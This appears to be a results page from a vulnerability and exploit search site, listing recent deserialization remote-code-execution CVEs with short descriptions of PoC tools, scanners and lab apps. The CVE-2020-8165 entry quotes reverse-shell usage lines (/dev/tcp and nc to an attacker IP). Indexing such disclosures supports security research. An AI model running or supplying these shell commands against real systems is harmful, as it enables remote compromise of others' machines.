Lucene search
+L

1980 matches found

Kitploit
Kitploit
added 2026/09/13 11:49 a.m.4 views

Telerik_CVE-2019-18935

TelerikUI Python Scanner telerikrcescan.py Examples Assess an IP for CVE-2019-18935 $ python3 telerikrcescan.py -t 192.168.44.21 Assess a hostname for CVE-2019-18935 $ python3 telerikrcescan.py -t vulnerable.telerik.net Assess a CIDR network range for CVE-2019-18935 $ python3 telerikrcescan.py -r...

9.8CVSS7.8AI score0.99737EPSS
SaveExploits16References2
EUVD
EUVD
added 2026/09/13 11:42 a.m.4 views

EUVD-2026-77001

ESPnet before 202609 deserializes pretrained model checkpoints using torch.load with weightsonly=False, allowing arbitrary code execution from attacker-supplied files. Attackers can craft malicious checkpoint files that execute code during deserialization when loaded through the initialization or...

8.8CVSS
SaveExploits0References6
Kitploit
Kitploit
added 2026/09/13 11:16 a.m.6 views

react2shell-CVE-2025-55182-full-rce-script

Next.js React2Shell CVE-2025-55182 Exploit Tool A proof-of-concept tool for demonstrating the critical React2Shell vulnerability CVE-2025-55182 / CVE-2025-66478 on authorized, local testing environments only. ⚠️ CRITICAL WARNING: ACTIVE EXPLOITATION This vulnerability CVSS 10.0 is being actively...

10CVSS7.5AI score0.99802EPSS
SaveExploits405
Kitploit
Kitploit
added 2026/09/13 10:20 a.m.6 views

CVE-2025-53691

CVE-2025-53691: Remote code execution RCE through insecure deserialization The same reflection mechanism in the AjaxScriptManager can be used to invoke the ProcessSerializedData method. This method deserializes a provided payload using the insecure BinaryFormatter, leading to RCE. An attacker can...

8.8CVSS7.2AI score0.01544EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/13 8:10 a.m.108 views

xvna

XVNA Extreme Vulnerable Node Application XVNA is an extreme vulnerable node application coded in NodejsExpressjs/MongoDB that helps security enthusiasts to learn application security. it's not counseled to host this application online as it is intended to be Vulnerable. We tend to suggest hosting...

5.5AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 7:59 a.m.7 views

CVE-2025-49113_exploit_cookies

CVE-2025-49113 - Roundcube Webmail Remote Code Execution Vulnerability Technical Overview CVE-2025-49113 is a critical insecure deserialization vulnerability in Roundcube Webmail that enables authenticated remote code execution. The vulnerability stems from improper handling of serialized PHP...

9.9CVSS8.2AI score0.98897EPSS
SaveExploits29
Kitploit
Kitploit
added 2026/09/13 6:27 a.m.7 views

CVE-2025-64512---pdfminer.six-Remote-Code-Execution-RCE-

CVE-2025-64512 - pdfminer.six Remote Code Execution RCE -orange WARNING – EDUCATIONAL USE ONLY This proof-of-concept is for authorized security testing and educational purposes only. Use only on systems you own or have explicit written permission to test. The author is not responsible for any...

8.6CVSS7.4AI score0.00312EPSS
SaveExploits9
Kitploit
Kitploit
added 2026/09/13 6:15 a.m.6 views

react2shellVulnApp

React2Shell Vulnerable Banking Application Lab Deliberately vulnerable banking app for CVE-2025-55182 React and CVE-2025-66478 Next.js to learn, detect, and safely exercise React2Shell. Runs unpatched React 19.0.0 and Next.js 15.0.3. Overview Fictional SecureBank built with Next.js App Router and...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/13 4:52 a.m.6 views

CVE-2025-24016

Ejecución Remota de Código RCE en Wazuh - PoC Resumen de la Vulnerabilidad Este repositorio demuestra la vulnerabilidad de ejecución remota de código RCE en el servidor Wazuh, introducida por una deserialización insegura en el paquete wazuh-manager. La vulnerabilidad permite que atacantes remotos...

9.9CVSS8.4AI score0.9384EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/13 4:47 a.m.7 views

CVE-2023-45185

CVE-2023-45184 IBM i Access Client Solutions 1.1.9.4 - Remote code execution via insecure deserialisation. Timeline Vulnerability reported to vendor: 22.09.2023 New fixed 1.1.9.4 version released: 08.12.2023 Public disclosure: 15.12.2023 Description IBM i Access Client Solutions uses insecure...

8.8CVSS7.7AI score0.01624EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 4:35 a.m.5 views

CVE-2025-55182-Scanner

CVE-2025-55182 RCE Scanner Batch detection and verification tool for CVE-2025-55182 React2Shell remote code execution vulnerability. ⚠️ CVSS 10.0 Critical Vulnerability | Affects React Server Components and Next.js 15.x/16.x versions | For authorized security testing only Vulnerability Overview...

10CVSS7.6AI score0.99802EPSS
SaveExploits391
Kitploit
Kitploit
added 2026/09/13 4:16 a.m.12 views

CVE-2020-8165

CVE-2020-8165 Python Exploit This is code to exploit CVE-2020-8165 using Python3. This exploit works with rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Major Credits Original CVE details:...

9.8CVSS7.5AI score0.45732EPSS
SaveExploits5References1
Kitploit
Kitploit
added 2026/09/13 2:16 a.m.4 views

CVE-2026-12191

CVE-2026-12191 A proof-of-concept exploit for CVE-2026-12191, an insecure deserialization vulnerability in Comma AI Openpilot's modeld.py, that allows a local low-privileged attacker to achieve arbitrary code execution by supplying a crafted malicious Python pickle payload to the...

8.5CVSS7.9AI score0.00136EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/13 2:15 a.m.6 views

CVE-2025-1337-PoC

PoC para CVE-2025-1337 Prueba de concepto para la vulnerabilidad de Ejecución Remota de Código RCE en el servicio LogServ v1.2. Detalles de la Vulnerabilidad CVE: CVE-2025-1337 Software: LogServ v1.2 Tipo: Deserialización insegura de un objeto de sesión en la cookie sessiondata. Impacto: Un...

5.1CVSS5.6AI score0.00534EPSS
SaveExploits3
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.83 views

Cacti < 1.2.25 Insecure Deserialization

Cacti is an open source operational monitoring and fault management framework. There are two instances of insecure deserialization in Cacti version 1.2.24. id: CVE-2023-30534 info: name: Cacti 1.2.25 Insecure Deserialization author: k0pak4 severity: medium description: | Cacti is an open source...

4.3CVSS6.9AI score0.02869EPSS
SaveExploits1References5
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.5 views

GiveWP <= 4.16.7.1 - Remote Code Execution

GiveWP = 4.16.7.1 contains an insecure deserialization vulnerability caused by deserialization of untrusted data, letting attackers perform object injection remotely, exploit requires crafted input id: CVE-2026-82222 info: name: GiveWP = 4.16.7.1 - Remote Code Execution author: 0xAkoko,pdteam...

10CVSS0.01547EPSS
SaveExploits5References2
Nuclei
Nuclei
added 2026/09/13 2:04 a.m.26 views

Apache Dubbo 2.5.x-2.7.4 - Insecure Deserialization

Unsafe deserialization occurs within a Dubbo application which has HTTP remoting enabled. An attacker may submit a POST request with a Java object in it to completely compromise a Provider instance of Apache Dubbo, if this instance enables HTTP. This issue affected Apache Dubbo 2.7.0 to 2.7.4,...

9.8CVSS7.9AI score0.36513EPSS
SaveExploits2References4
Kitploit
Kitploit
added 2026/09/13 1:44 a.m.10 views

CVE-2025-59287

In this study, we will examine a critical vulnerability CVE-2025-59287 discovered in the Microsoft Windows Server Update Services WSUS environment. This vulnerability arises from the unsafe deserialization of AuthorizationCookie objects sent to the GetCookie endpoint, where encrypted cookie data ...

9.8CVSS7.9AI score0.99979EPSS
SaveExploits24
Kitploit
Kitploit
added 2026/09/13 1:22 a.m.7 views

CVE-2024-1651-PoC

CVE-2024-1651 This CVE was discovered by Carlos Bello from the Fluid Attack Offensive Team. The finding discusses Insecure Object Deserialization to obtain RCE Remote Code Execution. Here, I have created a faster and easier-to-use PoC Proof of Concept. Therefore, if anyone wants to reproduce the...

10CVSS8.2AI score0.34235EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/12 11:48 p.m.12 views

CVE-2025-66478-Exploit-PoC

PoC de Exploit para CVE-2025-66478 Este repositorio contiene código de prueba de concepto PoC para reproducir e investigar la vulnerabilidad CVE-2025-66478 de Next.js. Incluye una aplicación Next.js vulnerable y un script de exploit en Node.js para probar la vulnerabilidad. Inglés · 中文 ¿Qué es...

7.4AI score
SaveExploits112References1
Rows per page
Query Builder